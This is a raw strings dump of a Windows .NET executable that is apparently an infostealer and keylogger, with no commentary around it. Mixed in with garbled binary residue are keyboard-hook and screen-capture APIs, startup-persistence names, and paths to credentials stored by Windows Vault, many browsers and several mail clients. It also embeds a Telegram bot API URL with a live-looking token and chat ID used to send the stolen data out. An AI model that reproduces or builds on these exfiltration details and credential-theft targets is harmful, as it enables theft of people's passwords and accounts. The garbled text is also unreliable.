!This program cannot be run in DOS mode.
`.rsrc
@.reloc
com.apple.Safari
Unable to resolve HTTP prox
1SPS*
KDBM(0
v4.0.30319
#Strings
2 U h r z
(!K!c!
#1#=#H#X#
5!C!)#
2Ne0Sa30
vWTPF0
SHf0Q0
OF0nD5pT0
6Yn2cqOU0
0rJrONa0
1g6lrb0
psLde0
$$method0x6000100-1
$$method0x6000120-1
$$method0x6000140-1
$$method0x6000121-1
$$method0x6000192-1
$$method0x6000106-1
$$method0x6000116-1
$$method0x6000276-1
$$method0x600011b-1
$$method0x600008d-1
$$method0x600007e-1
iSpaAF21
HMACSHA1
VT_UI1
yKFaQ1
okmq7ZuS1
bKrAX1
IEnumerable`1
ICollection`1
IEnumerator`1
IList`1
yEWqc1
CS$<>9__CachedAnonymousMethodDelegate1
get_Item1
RRoSr1
$$method0x6000100-2
$$method0x6000116-2
$$method0x6000276-2
HMACSHA512
1zbdDqnT22
Advapi32
kernel32
Microsoft.Win32
user32
ToUInt32
ReadInt32
ToInt32
6WzmG30C82
C5CDfxvD2
3J5H0bH2
VT_UI2
XX5wpBJ2
mxVJHFJgrM2
DfRFO1XKES2
fyzeLS2
H3KkS2
KeyValuePair`2
Dictionary`2
get_Item2
WWwuAiZ7Ez2
0iqwb6r53
4Yp7Eug63
HAdmsYvk6F3
q87BMK3
oYiON3
q0FUsN3
yNswE8Z3
Tuple`3
aXzTh9Yxb3
eQWjk3Vc3
avGrsA4g3
get_Item3
tZR64gT3p3
CG5tw3
5EZiI54
ToUInt64
ReadInt64
ToInt64
ixnKzmdB4
VT_UI4
YIsMJOFwK4
u4DuutZWQ4
bURfnT4
8UI0vVZ4
IbdO0u8a4
s0zbVVKvXd4
KkUIHdyo4
DazqXs4
jBkhj5LU25
2K81zGA65
8jl385
dEp9tq16sC5
moeli5jEHL5
y68udQIHkR5
4tir8E4b5
4Q2bh6KD8t5
IS_TEXT_UNICODE_ASCII16
IS_TEXT_UNICODE_REVERSE_ASCII16
ToUInt16
ReadInt16
ToInt16
p4b026
HMACSHA256
Y3hZLJ3h56
u2URRdjX6
vzExF4d6
gKitMOo6
0PHe87
0xZUF7
VaultGetItem_WIN7
sc1GAGO7
QHECjY7
HrOCQ1lo7
GhnrmsiIt7
2dfmC8Hg38
get_UTF8
VT_UI8
VaultGetItem_WIN8
1GP6mN8
koxMLDQ8
LGcQzMR8
6yXGj8
QST9lj8
BLOnlS9k8
UJI8unq8
GLwUBu2er8
MMeZ8xGAs8
aSKdtCdy8
WNaVHz6CvF9
y3Xzk7rNUI9
5sWFR9
tsLymV9
lBRVQZ6h9
UywN7rj9
LxlYPAB3ok9
GqJ1msYo9
<Module>
kkeaBA
T4WAHA
FbvaMHA
uJc68BKA
d0YMdA
TaKeeViA
0mf9StlA
Lb9aZAWnA
8cui80B
6K5b7B
zNsY9B
DUxSWCB
97WhIB
BCRYPT_KEY_DATA_BLOB
VT_BLOB
bW20oD2zcgB
p9dflB
pI2muOSqlB
d1U23AwmB
cpjKUanB
JztcpB
JRBlWU6lBqB
t9s4QRrB
fvPNAhyec5C
lBfNJ7IC
BCRYPT_KEY_DATA_BLOB_MAGIC
HpmZXxaoeXC
3oO9kKHlhC
c5n32blC
JKB6umC
wcmjslqC
feCSpyCgz3D
2c8e9D
D5Ry9D
LLKHF_EXTENDED
LLKHF_INJECTED
3IVnz2FD
RvOuPWMD4HD
VT_CLSID
get_ID
set_ID
FileHandleID
fileHandleID
lpdwProcessID
processID
get_FormatID
set_FormatID
aHPZ4uNPD
DUPLICATE_CLOSE_SOURCE
BCRYPT_CHAINING_MODE
VT_STORAGE
X2GwaNVmYJE
INVALID_HANDLE
VT_FILETIME
IS_TEXT_UNICODE_SIGNATURE
IS_TEXT_UNICODE_REVERSE_SIGNATURE
VT_DATE
IS_TEXT_UNICODE_DBCS_LEADBYTE
Cy7LtanE
nRaW2frE
p6qdQaMsF5F
Qnnagyjv5F
7ej9BF
dD32YUKF
eaDUjLF
Nmyv9XOF
9Cz5UF
WLjekUF
ioEO7XF
caVT32WRdF
BCRYPT_AUTH_MODE_CHAIN_CALLS_FLAG
E18qFqAT4JG
3TQS7RlyRG
IicScPhBvUG
6icSBHrZG
trRkisxPaG
UNqHO9AtG
QjsmxG
STATUS_AUTH_TAG_MISMATCH
STATUS_INFO_LENGTH_MISMATCH
wmSxgkgNH
Z8eZFTH
IS_TEXT_UNICODE_ODD_LENGTH
BCRYPT_AUTH_TAG_LENGTH
BCRYPT_OBJECT_LENGTH
oqlu1yUH
HD9t8JIjWH
2trkedH
L0D3uKftH
piFPB1Fxl3I
W7omEf6I
get_ASCII
4YCuBWjI
Ux6knqcMtmI
oomRrHr8V2J
qC76vlaIJ
LdAk8TZsWJ
YKNcZ1odJ
M9Y0hEeJ
MNJw1XQfJ
g0d2X3iJ
tdhMOqtFblJ
W0Hc7tlJ
Tot13wFenJ
PEZAZCo4K
8N70LcKws8K
d0pJkvCDK
Ofe0SCkEK
zQdqROsGWQK
IS_TEXT_UNICODE_UNICODE_MASK
IS_TEXT_UNICODE_NOT_UNICODE_MASK
IS_TEXT_UNICODE_REVERSE_MASK
IS_TEXT_UNICODE_NOT_ASCII_MASK
m0CG72yRUK
teI93TyZK
JN9ZzqiK
KzQMXoK
rOTyYR6V8L
tVz7ab8L
VT_DECIMAL
ZnN9e2EB1GL
VT_NULL
WH_KEYBOARD_LL
VT_BOOL
Ht1wLjlbL
VT_VERSIONED_STREAM
VT_STREAM
BCRYPT_CHAIN_MODE_GCM
BCRYPT_AES_ALGORITHM
S7KGQM
0jfRI6vZM
mFPjfM
aO4J52sM
UW5ngTc0N
tdKAQFnc3N
12GeZJ5N
EvyD8DN
BCRYPT_INIT_AUTH_MODE_INFO_VERSION
HC_ACTION
LLKHF_ALTDOWN
WM_SYSKEYDOWN
WM_KEYDOWN
BvXumYN
lSajM2xymfN
dXZzcqN
pphn5uhrN
HwyutN
Bs2LUnW3T1O
System.IO
4fE0qKMJO
Tp3uRnQO
VDLliGfSO
Isa1CPUO
dVWnh9vO5bO
GYyix5BHcO
kFSVfGuiO
iFgk5P
BCRYPT_PAD_OAEP
tSzU51JP
Napqh0ePsKP
UYutCYDyxOP
WM_SYSKEYUP
WM_KEYUP
LLKHF_UP
3HbnbP
lJ0z2jLcP
u6vQJDvP
r4JWAtYi0zP
LFhNBZwLPJQ
MDZQipeOQ
srEjHafLtgQ
kSTBhQ
G4aTPMkQ
1a5nS0K0R
T43IPc42V3R
MS_PRIMITIVE_PROVIDER
VT_ERROR
VT_VECTOR
VT_BSTR
VT_LPSTR
VT_LPWSTR
CAkkTR
IquSmLUVR
Tf6mmKwZbhR
bPJPe0qkR
l6mdmTk4lR
IS_TEXT_UNICODE_STATISTICS
IS_TEXT_UNICODE_REVERSE_STATISTICS
IS_TEXT_UNICODE_NULL_BYTES
IS_TEXT_UNICODE_CONTROLS
IS_TEXT_UNICODE_REVERSE_CONTROLS
6f7jPS
IS_TEXT_UNICODE_ILLEGAL_CHARS
DUPLICATE_SAME_ACCESS
ERROR_SUCCESS
STATUS_SUCCESS
BCRYPT_PAD_PSS
sDL5fNwgVS
Tfi3aS
daeWV4dS
JAJptS
tkuA50wS
IPV43ILHi2T
jgF8hC8BT
9UsLQ1zET
LPLPIT
VT_UINT
VT_INT
4D6YrM7qeT
4UjMgT
VSpXBZHWZoT
Zlayn6qAhrT
jtFepjcOtT
XN1zmGt4wT
P5cLxLImHxT
M6HRxrZJ6U
KZpHTD8za7U
DJgGjwm6GU
rygtUJU
qXTnQs1KU
5GWpa1NPU
cK0o2cDXU
ijWiNWhYU
z0wbeZU
QWek2bU
56rRKgJgU
7esYbhfzhU
6JgFzBfvlU
50G7e0grisU
G3BoitawU
cu8z9MZzV7V
50GbxO79V
CFQSD5RvBV
BWSOI7CV
xaT9MEV
get_IV
set_IV
tziPjV
tCLspRTssV
cBcd8fgwF1W
KDgOouNz1W
3hJAk0FBW
L1Q5CW
jXu8EW
STATUS_BUFFER_OVERFLOW
7NSB04ZYW
vAs1dW
ifuFrAeqfW
BxOSONkRqW
Nm2hE5X
7SnP1LX
X7PevPX
p2uCGcuwkQX
0CjeRX
8y9fOZX
3MG6RfChX
DNhahX
ThRfVsX
yh50RiyX
BfWs6Y
VT_ARRAY
sKPqWsSAY
Tzo8DchHY
VT_EMPTY
flDiCYY
orZsn32vYY
v2VfT2VZycY
C11bHweY
4p639dKZpY
N6mQjdZ
QnkEFLbbNlZ
value__
ni6rWHuHa
9EBzTwG0NXa
gWDlZcZa
3OjIPgKsa
get_Data
set_Data
cbData
ProtectedData
cbAuthData
pbAuthData
PropertyData
SetQuota
O7oKjSnwa
7mgv5b
M7OTvH51CFb
OmSjEFJnOb
RlmmFFPb
Gy6aZPb
PublicIpAddressGrab
O1qQS5ENOcb
mscorlib
Fe70m05ob
YxZnZqtWqb
0iUCiPn2lsb
qDRp44ub
bnaQZOKZwb
CHTz5E07c
tiADzIW8c
Iear8c
F2atQMzICc
NomEs5Hc
mp6vT2XBLc
WgFWNc
yADXQc
WFyKWc
WjuwBIBF0Zc
lo3m68KXbc
qivpRplHZic
System.Collections.Generic
Microsoft.VisualBasic
WndProc
HookProc
FromFileTimeUtc
kGiSuc
ZMJLpVyc
3kv43d
uHmQ7rE37d
0ZF6bMvEF8d
FDlpeo719d
HvX2Bd
get_Id
SchemaId
schemaId
pszAlgId
HookId
eQP0lovmId
GetWindowThreadProcessId
processId
ChatId
SchemaElementId
PageExecuteRead
OpenRead
FileMapRead
VirtualMemoryRead
CreateThread
vM4Uwbd
lpcbNeeded
DomainExtended
SHA1Managed
RijndaelManaged
add_Changed
remove_Changed
get_LastModified
set_LastModified
_lastModified
Interlocked
set_Enabled
get_IsEnabled
set_IsEnabled
_enabled
Undefined
lpOverlapped
samDesired
add_Elapsed
get_LastAccessed
set_LastAccessed
_lastAccessed
get_Reserved
reserved
System.Collections.Specialized
dO84ghd
TorPid
activeWindowPid
pPackageSid
row_id
get_IsInvalid
get_Guid
vaultGuid
PcHwid
<ID>k__BackingField
<FormatID>k__BackingField
<Data>k__BackingField
<LastModified>k__BackingField
<IsEnabled>k__BackingField
<LastAccessed>k__BackingField
<Password>k__BackingField
<password>k__BackingField
<PropertyStorage>k__BackingField
<Name>k__BackingField
<FileName>k__BackingField
<ApplicationName>k__BackingField
<name>k__BackingField
<Username>k__BackingField
<username>k__BackingField
<Type>k__BackingField
<type>k__BackingField
<secure>k__BackingField
<expirationDate>k__BackingField
<sameSite>k__BackingField
<TypedPropertyValue>k__BackingField
<value>k__BackingField
<Size>k__BackingField
<IsRunning>k__BackingField
<Path>k__BackingField
<path>k__BackingField
<hostmask>k__BackingField
<domain>k__BackingField
<Version>k__BackingField
<Application>k__BackingField
<Description>k__BackingField
<user>k__BackingField
<hoster>k__BackingField
<Tasks>k__BackingField
<objects>k__BackingField
<Accounts>k__BackingField
<Keys>k__BackingField
<Lenght>k__BackingField
<JsonResult>k__BackingField
<Host>k__BackingField
<GuidMasterKey>k__BackingField
<httpOnly>k__BackingField
GetField
TrimEnd
ReadToEnd
AppEnd
Append
get_Millisecond
GetUpperBound
GetLowerBound
set_Method
method
1hgcArd
Clipboard
get_Password
set_Password
DomainPassword
get_password
set_password
9wrZo8yd
0IliY4oCe
AJ3u4kxMOe
sO96kWwcbe
Replace
IsNullOrWhiteSpace
DeleteBackspace
QueryDosDevice
hInstance
IdentityReference
Sequence
cbNonce
pbNonce
Resource
vkCode
wScanCode
scanCode
keyCode
set_Mode
FileMode
ShareMode
PaddingMode
CryptoStreamMode
CipherMode
SelectSingleNode
XmlNode
get_Unicode
get_BigEndianUnicode
IsTextUnicode
FromImage
SectionImage
get_PropertyStorage
set_PropertyStorage
SerializedPropertyStorage
SendMessage
AddRange
CompareExchange
CredentialCache
SectionNoCache
EndInvoke
BeginInvoke
GetEnvironmentVariable
SetEnvironmentVariable
IEnumerable
IDisposable
ToDouble
get_Handle
RuntimeFieldHandle
hSourceHandle
SafeHandle
GetModuleHandle
RuntimeTypeHandle
ReleaseHandle
CloseHandle
DuplicateHandle
CreateHandle
GetTypeFromHandle
hSourceProcessHandle
hTargetProcessHandle
lpTargetHandle
bInheritHandle
vaultHandle
activeWindowHandle
handle
Rectangle
ToSingle
CreateFile
hTemplateFile
DeleteFile
WriteFile
MoveFile
MapViewOfFile
UnmapViewOfFile
lastTitle
activeWindowTitle
lphModule
get_MainModule
ProcessModule
get_Name
set_Name
lpDeviceName
get_FileName
set_FileName
GetModuleFileName
lpExistingFileName
lpFileName
GetFileName
lpNewFileName
_fileName
get_ModuleName
lpModuleName
lpBaseName
baseName
lpValueName
StartupRegName
rootPathName
get_OSFullName
get_FullName
OperatingSystemName
get_ApplicationName
set_ApplicationName
StartupInstallationName
lpName
lpAppName
get_UserName
get_ComputerName
ThisComputerName
ProcessorName
get_ProcessName
processName
StartupEnvName
GetProcessesByName
lpKeyName
pszCredentialFriendlyName
StartupDirectoryName
GetDirectoryName
astable_name
item_name
get_name
set_name
Filename
filename
get_Username
set_Username
get_username
set_username
DateTime
GetLastAccessTime
dwTime
m94cqme
AppendLine
get_NewLine
Combine
LocalMachine
Escape
Unescape
DataProtectionScope
get_Type
set_Type
pszBlobType
GetFileType
MimeType
ValueType
LogType
SecurityProtocolType
GetType
set_ContentType
item_type
get_type
set_type
FileShare
Compare
System.Core
get_secure
set_secure
PtrToStructure
get_InvariantCulture
Capture
NameObjectCollectionBase
HttpWebResponse
GetResponse
Dispose
Reverse
get_expirationDate
set_expirationDate
X509Certificate
GenericCertificate
DomainCertificate
Create
KBDLLHookProcDelegate
MulticastDelegate
Terminate
PcState
GetKeyboardState
lpKeyState
GetKeyState
Delete
get_sameSite
set_sameSite
PageReadWrite
PageExecuteReadWrite
nNumberOfBytesToWrite
FileMapWrite
VirtualMemoryWrite
Remote
STAThreadAttribute
CompilerGeneratedAttribute
GuidAttribute
SecuritySafeCriticalAttribute
ExtensionAttribute
AssemblyFileVersionAttribute
FlagsAttribute
CompilationRelaxationsAttribute
ReliabilityContractAttribute
ParamArrayAttribute
RuntimeCompatibilityAttribute
SuppressUnmanagedCodeSecurityAttribute
set_UseShellExecute
FileMapExecute
ReadByte
ToByte
get_Value
HandleValue
TryGetValue
get_TypedPropertyValue
set_TypedPropertyValue
GetPropertyValue
get_value
set_value
set_KeepAlive
Remove
SectionReserve
zJuU3fVpIxe
6F2v8ucye
get_Size
set_Size
dataSize
cbSize
get_StorageSize
lpFileSize
get_NameSize
volumeNameSize
nFileSystemNameSize
SQLDataTypeSize
get_StoreSize
get_ValueSize
get_HashSize
set_BlockSize
chunkSize
get_KeySize
Serialize
Deserialize
Initialize
Finalize
Synchronize
page_size
Resize
Tq8zfrq5f
SizeOf
get_ItemOf
LastIndexOf
rflSWmYlRf
3pD7BdxRf
NCKbKF1VtTf
8EyYbbUf
4ew0Xf
fd5b59b2-22a8-4d38-8013-62be0d9b5bef
SAkF4VdhHff
cchBuff
aDBgg0bgf
Essfif
DDyNOkCRrkf
5JGqolf
lastInputInf
Yi8bYeuf
w5E9mmF0g
9LaAUxu7g
WApjAg
EwchrWCg
oH693OIIGFg
el4w2lbMLg
get_Jpeg
HmxDfNQrXig
System.Threading
get_Padding
set_Padding
UTF8Encoding
encoding
System.Drawing.Imaging
get_IsRunning
set_IsRunning
CreateFileMapping
FromBase64String
ToBase64String
EscapeDataString
UnescapeDataString
lpReturnedString
GetPrivateProfileString
ToString
GetString
OctetString
BitString
Substring
System.Drawing
get_Msg
WwVVuywg
w0lvo6h
TL6Zv7h
wr7ePh
jmhrhSOdRh
InW8TmSsTh
GgvGXh
qOuXwOcbh
dwMaximumSizeHigh
dwFileOffsetHigh
zLvscvjh
ComputeHash
get_Path
set_Path
SystemAppdataPath
get_ExecutablePath
AsmFilePath
AppStartupFullPath
GetTempPath
GetFolderPath
lpTargetPath
StartupDirectoryPath
get_path
set_path
get_Width
get_Length
MaximumLength
dwMinLength
SystemInformationLength
ObjectInformationLength
set_MaxJsonLength
ReturnLength
maximumComponentLength
GetWindowTextLength
dwMaxLength
EndsWith
StartsWith
IRxI2cvCA6i
ssUJdg7i
7sseCpQUAi
dQ8N7sbVi
2atUYgi
wjJW5ETw3ni
PtrToStringUni
StringToHGlobalUni
TelegramApi
vnS3F30j
zqyZa1j
Q2K4Gj
XifT5Hj
d96KDVDOj
objrij
VsnUl7epj
mzA9Pdhswvj
EUAT4IgP9k
MOS1xr4Ck
8xK7C9VKk
1tTLWRSk
pgeMYk
AsyncCallback
RemoteCertificateValidationCallback
get_ServerCertificateValidationCallback
set_ServerCertificateValidationCallback
callback
get_CapsLock
TransformFinalBlock
TransformBlock
MRnevhk
idHook
_clipboardHook
_keyboardHook
get_hostmask
set_hostmask
iuIP7bMl
AllocHGlobal
FreeHGlobal
Illegal
Marshal
Decimal
System.Security.Principal
set_Interval
ScreenInterval
KeyloggerInterval
Rijndael
cbLabel
pbLabel
System.ComponentModel
EnableTorPanel
PvQfrpZjl
Kernel32.dll
kernel32.dll
User32.dll
user32.dll
vaultcli.dll
psapi.dll
ntdll.dll
bcrypt.dll
System.Xml
WbXpPol
set_SecurityProtocol
Control
MbTTia7m
Ae5jXxm8m
isyxLm
Se91vCUm
rZqdR5Wm
pxlGam
FileStream
get_BaseStream
GetResponseStream
CryptoStream
GetRequestStream
MemoryStream
get_LParam
get_WParam
get_Param
lParam
wParam
XxTNfbm
TeE3jm1lobm
get_Item
set_Item
VaultGetItem
vaultItem
OperatingSystem
xKOZxKv8hm
HmacAlgorithm
SymmetricAlgorithm
phAlgorithm
KeyedHashAlgorithm
algorithm
jCWoN9zEmm
Random
ICryptoTransform
Maximum
root_num
HqBgwhu84n
mkYtBos7n
x0YFPLn
P779dBnMn
A7JvpXnNcTn
ALz1rBYn
ToBoolean
IsLittleEndian
CopyFromScreen
get_PrimaryScreen
lpNumberOfBytesWritten
X509Chain
ChangeClipboardChain
get_domain
set_domain
Extension
get_OSVersion
get_Version
set_Version
dwInfoVersion
get_Application
set_Application
get_Location
ObjectDataInformation
SystemRegistryQuotaInformation
SystemBasicInformation
ObjectBasicInformation
QueryLimitedInformation
SystemPerformanceInformation
SystemProcessorPerformanceInformation
SystemLookasideInformation
SystemHandleInformation
ObjectNameInformation
GetVolumeInformation
ObjectTypeInformation
ObjectAllInformation
NtQuerySystemInformation
SystemExceptionInformation
SystemProcessInformation
ObjectInformation
SetInformation
SystemInterruptInformation
SystemTimeOfDayInformation
QueryInformation
VirtualMemoryOperation
pszImplementation
System.Globalization
System.Web.Script.Serialization
System.Reflection
PropertyDataCollection
NameValueCollection
MatchCollection
GroupCollection
KeysCollection
ManagementObjectCollection
KeyCollection
set_Position
CreationDisposition
SearchOption
Win32Exception
CryptographicException
ArgumentOutOfRangeException
ArgumentException
get_Description
set_Description
get_StatusDescription
_description
System.Runtime.ConstrainedExecution
StringComparison
add_KeyDown
remove_KeyDown
get_CtrlKeyDown
get_ShiftKeyDown
get_AltKeyDown
Unknown
8wF0OaF8Bo
CompareTo
CopyTo
DhmgNLVo
lastInPutNfo
dwExtraInfo
ImageCodecInfo
FieldInfo
FileInfo
CultureInfo
pPaddingInfo
FileSystemInfo
MemberInfo
ComputerInfo
get_StartInfo
ProcessStartInfo
GetLastInputInfo
DirectoryInfo
dympvho
7t5g5QcEZmo
E9ewso
Zyrba2p
b5bIwnm5p
add_KeyUp
remove_KeyUp
nLAViVp
Y0HeElWtVp
dwNumberOfBytesToMap
Bitmap
4Iheny2mp
TimeStamp
2h7aop
LocalApp
oZxJup
AppAddStartup
HideFileStartup
B6KDZe1hryp
VtHHuQbg5q
DmOKvH6q
byuNQu7x6q
LJsPDBq
ZkTaEq
qA7u9h1Nq
M93AGTq
BPJUVyWq
1XDsljg3bq
CkJzWxdq
av7V5igq
yFVIs9UmOnq
System.Linq
KuOt5jsq
JAOZ1r
HVXbsVfni1r
b44HiZa4r
GdgxUndjBr
eeHbvJ1ZIr
kMJagCTr
Lx2hHYWr
ToChar
lpChar
DirectorySeparatorChar
ObjectTypeNumber
volumeSerialNumber
StreamReader
TextReader
BinaryReader
SHA1CryptoServiceProvider
MD5CryptoServiceProvider
RNGCryptoServiceProvider
TripleDESCryptoServiceProvider
BCryptCloseAlgorithmProvider
BCryptOpenAlgorithmProvider
IFormatProvider
StringBuilder
SpecialFolder
sender
Encoder
volumeNameBuffer
fileSystemNameBuffer
buffer
ServicePointManager
Integer
EnableClipboardLogger
EnableScreenLogger
_screenLogger
_keyLogger
EnableKeylogger
ManagementObjectSearcher
ObjectIdentifier
SecurityIdentifier
kPCAler
ElapsedEventHandler
LogTimer
ToUpper
CurrentUser
get_user
set_user
EncoderParameter
Object_Pointer
BitConverter
get_hoster
set_hoster
BinaryFormatter
SetClipboardViewer
ToLower
JavaScriptSerializer
lhz8QhZFhr
IgVhjo7mr
get_Major
get_Minor
GetLastWin32Error
GetLastError
Authenticator
IEnumerator
ManagementObjectEnumerator
GetEnumerator
RandomNumberGenerator
.cctor
Monitor
CreateDecryptor
CreateEncryptor
0eC0sr
passwordVaultPtr
ReadIntPtr
RurN3Bs
OhLOTOs
Graphics
System.Diagnostics
FezXBbLG7ds
aSHOds
get_Bounds
Microsoft.VisualBasic.Devices
System.Runtime.InteropServices
System.Runtime.CompilerServices
GetInstances
get_ChildNodes
Matches
EnableCookies
GetDirectories
master_table_entries
get_Properties
ExpandEnvironmentVariables
GetFiles
EnumProcessModules
NumberStyles
GetSubKeyNames
field_names
ReadAllLines
GetProcesses
System.Security.Cryptography.X509Certificates
FlagsAndAttributes
lpFileMappingAttributes
SecurityAttributes
FileBytes
Rfc2898DeriveBytes
ReadAllBytes
BufferBytes
GetBytes
db_bytes
get_Values
GetLogicalDrives
fileSystemFlags
dwFlags
ElapsedEventArgs
1jwN8Qsp0hs
get_Ticks
get_Tasks
set_Tasks
ICredentials
set_Credentials
get_DefaultCredentials
Equals
CreateParams
VaultEnumerateItems
System.Windows.Forms
Contains
System.Web.Extensions
System.Text.RegularExpressions
iterations
System.Collections
set_MaximumAutomaticRedirections
StringSplitOptions
RegexOptions
options
get_Groups
get_Chars
GetImageEncoders
System.Timers
RuntimeHelpers
EncoderParameters
SslPolicyErrors
SystemInformationClass
ObjectInformationClass
ManagementClass
dwDesiredAccess
GrantedAccess
FileAccess
FileMapAllAccess
processAccess
get_Success
CreateProcess
hProcess
OpenProcess
GetCurrentProcess
lpBaseAddress
PublicIpAddress
get_objects
set_objects
VaultEnumerateVaults
pPropertyElements
set_Arguments
get_Accounts
set_Accounts
get_Exists
yrHJHuts
dV5ntPF7Uws
get_Keys
set_Keys
get_ModifierKeys
QvHsQcR0t
2U83Lt
0fSZpW6LLt
xvyQVt
WJoyVt
MO7u9Xt
Concat
AppendFormat
ImageFormat
Subtract
VT_BLOB_Object
VT_STREAMED_Object
VT_STORED_Object
ManagementBaseObject
hFileMappingObject
hObject
ManagementObject
cbKeyObject
pbKeyObject
NtQueryObject
object
Collect
set_AllowAutoRedirect
flProtect
Unprotect
System.Net
P6FqQEo1Set
offset
8prgBI0Sft
get_Height
get_Lenght
set_Lenght
op_Explicit
SectionCommit
WaitForExit
cbSalt
VaultOpenVault
get_Default
lpDefault
pcbResult
IAsyncResult
CookieResult
phkResult
get_JsonResult
set_JsonResult
result
UnsignedInt
set_UserAgent
PublicUserAgent
System.Management
pResourceElement
XmlElement
pAuthenticatorElement
pIdentityElement
dwIncrement
sql_statement
Environment
XmlDocument
get_Parent
GetParent
get_Current
content
get_Count
get_HandleCount
get_TickCount
vaultItemCount
set_IterationCount
dwPropertiesCount
vaultCount
YWS7BTJot
BCryptDecrypt
BCryptEncrypt
TrimStart
AppStart
Convert
UnsignedShort
HttpWebRequest
XmlNodeList
ToList
MozillaBrowserList
ChromiumBrowserList
get_Host
set_Host
set_Timeout
GetKeyboardLayout
dwLayout
cbInput
pbInput
cbOutput
pbOutput
get_StandardOutput
set_RedirectStandardOutput
MoveNext
System.Text
LastCopiedText
KeylogText
ReadAllText
AppendAllText
get_InnerText
GetText
GetWindowText
Log_text
cbMacContext
pbMacContext
Qj3FU284u
Ezu2tfa4u
05u4e0yu
F6MIrv4h3v
mg0Y6Ndbr6v
NHAvMEoTv
3jgx41KUfv
eODIdavv
d4veP5w
Fw7t418w
uLiu5cVleQw
lEfmASw
QgFNOPatxiw
dwMaximumSizeLow
dwFileOffsetLow
get_Now
GetForegroundWindow
NativeWindow
set_CreateNoWindow
PPsfUOrw
bp5gNCSb5xw
SjVOyw
4iiFjAzw
j99P80x
aVpfeEl8D1x
36XojLkWt7x
PWUhdEx
ToUnicodeEx
GetModuleFileNameEx
RegQueryValueEx
GetFileSizeEx
UnhookWindowsHookEx
SetWindowsHookEx
CallNextHookEx
MaximumEx
RegOpenKeyEx
czAXgFHx
qQFr9mR0Kx
xTBIYwlKx
yW15CkSx
ucchMax
CBvLXdmbx
BufferEndIndex
BlockIndex
BufferStartIndex
JRxqtkx
DkCaG2vBvx
Sdgr6zx
AhRqza6NW0y
NfsM7y
tsy5QPrANNy
z46eFT4aRYy
ProtectedArray
ToByteArray
InitializeArray
ToArray
ToCharArray
UZx0t8fXcy
Consistency
get_Key
set_Key
OpenSubKey
subKey
RegCloseKey
get_GuidMasterKey
set_GuidMasterKey
_guidMasterKey
ContainsKey
wVirtKey
hImportKey
BCryptImportKey
BCryptDestroyKey
RegistryKey
_wsftpkey
System.Security.Cryptography
r20huRly
GetExecutingAssembly
get_httpOnly
set_httpOnly
PageReadonly
Multiply
PageWriteCopy
BlockCopy
FileMapCopy
mrKne0ry
System.Runtime.Serialization.Formatters.Binary
AmountOfMemory
get_TotalPhysicalMemory
Directory
Registry
get_Capacity
Quality
op_Equality
op_Inequality
System.Security
System.Net.Security
Identity
IsNullOrEmpty
BCryptSetAlgorithmProperty
BCryptGetProperty
BCryptSetProperty
pszProperty
er109rcvy
XxfKlUv20wy
VDPLF9No3z
1Qxr3RYiD4z
QBdYjUHqJ5z
LgwxYFYWAz
Ni0VQbmCz
nh0AFz
yfZZdktgz
r1Eeyl6qDlz
BzntIyDwqmz
$0ded16d1-40c2-49db-ad25-382a2f02ce39
WrapNonExceptionThrows
1.0.0.0
_CorExeMain
mscoree.dll
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
p p p!p"p#p$p%p&p'p(p)p*p+p,p-p.p/p0p1p2p3p4p5p6p7p8p9p:p;p<p=p>p?p@pApDpEpFpGpHpKpiy
k#n+n9
4 5 6!7"8#9$:%;&<'=(>)?*@+A,B-C0D4E5F6G7H8I9K:N;O=QATDZF[N`PfTxZy^z`{c|g}j
BACAIHJHQPVUWUXUZY_^fehgigjgkglgmgpo
image/jpeg
/log.tmp
text/html
yyyy-MM-dd HH:mm:ss
text/plain
<br>User Name:
<br>Computer Name:
<br>OSFullName:
<br>CPU:
Time:
MM/dd/yyyy HH:mm:ss
<br>RAM:
IP Address:
Recovered!
Time:
User Name:
OSFullName:
https://api.ipify.org
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
https://api.telegram.org/bot6469500942:AAHvkXqHdMsvUNkYfrx9B-1r7Ca069LuvNY/
749030041
appdata
yNfeJW
yNfeJW.exe
]</b> (
{KEYDOWN}
{Insert}
control
{KEYUP}
{KEYLEFT}
{CTRL}
{KEYRIGHT}
{ENTER}
{CAPSLOCK}
{HOME}
{ALT+TAB}
{BACK}
{PageUp}
{PageDown}
{NumLock}
{ALT+F4}
"
<br><hr>Copied Text: <br>
logins
IE/Edge
2F1A6504-0641-44CF-8BB5-3612D865F2E5
Windows Secure Note
3CCD5499-87A8-4B10-A215-608888DD3B55
Windows Web Password Credential
154E23D0-C644-4E6F-8CE6-5069272F999F
Windows Credential Picker Protector
4BF4C442-9B8A-41A0-B380-DD4A704DDB28
Web Credentials
77BC582B-F0A6-4E15-4E80-61736B6F3B29
Windows Credentials
E69D7838-91B5-4FC9-89D5-230D4D4CC2BC
Windows Domain Certificate Credential
3E0E35BE-1B77-43E7-B873-AED901B6275B
Windows Domain Password Credential
3C886FF3-2669-4AA2-A8FB-3F6759A77548
Windows Extended Credential
00000000-0000-0000-0000-000000000000
SchemaId
pResourceElement
pIdentityElement
pPackageSid
pAuthenticatorElement
UC Browser
UCBrowser\
Login Data
journal
wow_logins
Safari for Windows
\Common Files\Apple\Apple Application Support\plutil.exe
\Apple Computer\Preferences\keychain.plist
<array>
<dict>
<string>
</string>
<data>
</data>
-convert xml1 -s -o "
\fixed_keychain.xml"
\Microsoft\Credentials\
\Microsoft\Protect\
credential
QQ Browser
\Default\EncryptedStorage
Tencent\QQBrowser\User Data
\EncryptedStorage
Profile
entries
category
Password
password_value
IncrediMail
PopPassword
SmtpPassword
Software\IncrediMail\Identities\
\Accounts_New
SmtpServer
EmailAddress
Eudora
Software\Qualcomm\Eudora\CommandLine\
current
Settings
SavePasswordText
ReturnAddress
Falkon Browser
\falkon\profiles\
startProfile=([A-z0-9\/\.\"]+)
profiles.ini
\browsedata.db
autofill
ClawsMail
\clawsrc
\Claws-mail
passkey0
master_passphrase_salt=(.+)
master_passphrase_pbkdf2_rounds=(.+)
\accountrc
smtp_server
address
account
\passwordstorerc
{(.*),(.*)}(.*)
Flock Browser
APPDATA
\Flock\Browser\
signons3.txt
DynDns
username=
password=
